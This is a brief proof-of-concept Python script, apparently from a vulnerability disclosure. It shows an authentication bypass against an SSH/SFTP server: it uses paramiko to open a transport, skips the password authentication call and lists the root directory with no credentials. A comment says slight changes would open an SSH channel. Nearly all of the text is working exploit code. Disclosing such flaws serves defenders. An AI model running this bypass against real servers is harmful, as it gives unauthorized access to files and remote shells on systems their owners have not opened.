The PoC below connects to an SFTP # server, and lists the root directory without authenticating. Slight modification # is required if you want to open an SSH channel. #!/usr/bin/python import paramiko host = '127.0.0.1' port = 22 trans = paramiko.Transport((host, port)) trans.start_client() # If the call below is skipped, no username or password is required. # trans.auth_password('username', 'password') sftp = paramiko.SFTPClient.from_transport(trans) print(sftp.listdir('/')) sftp.close()
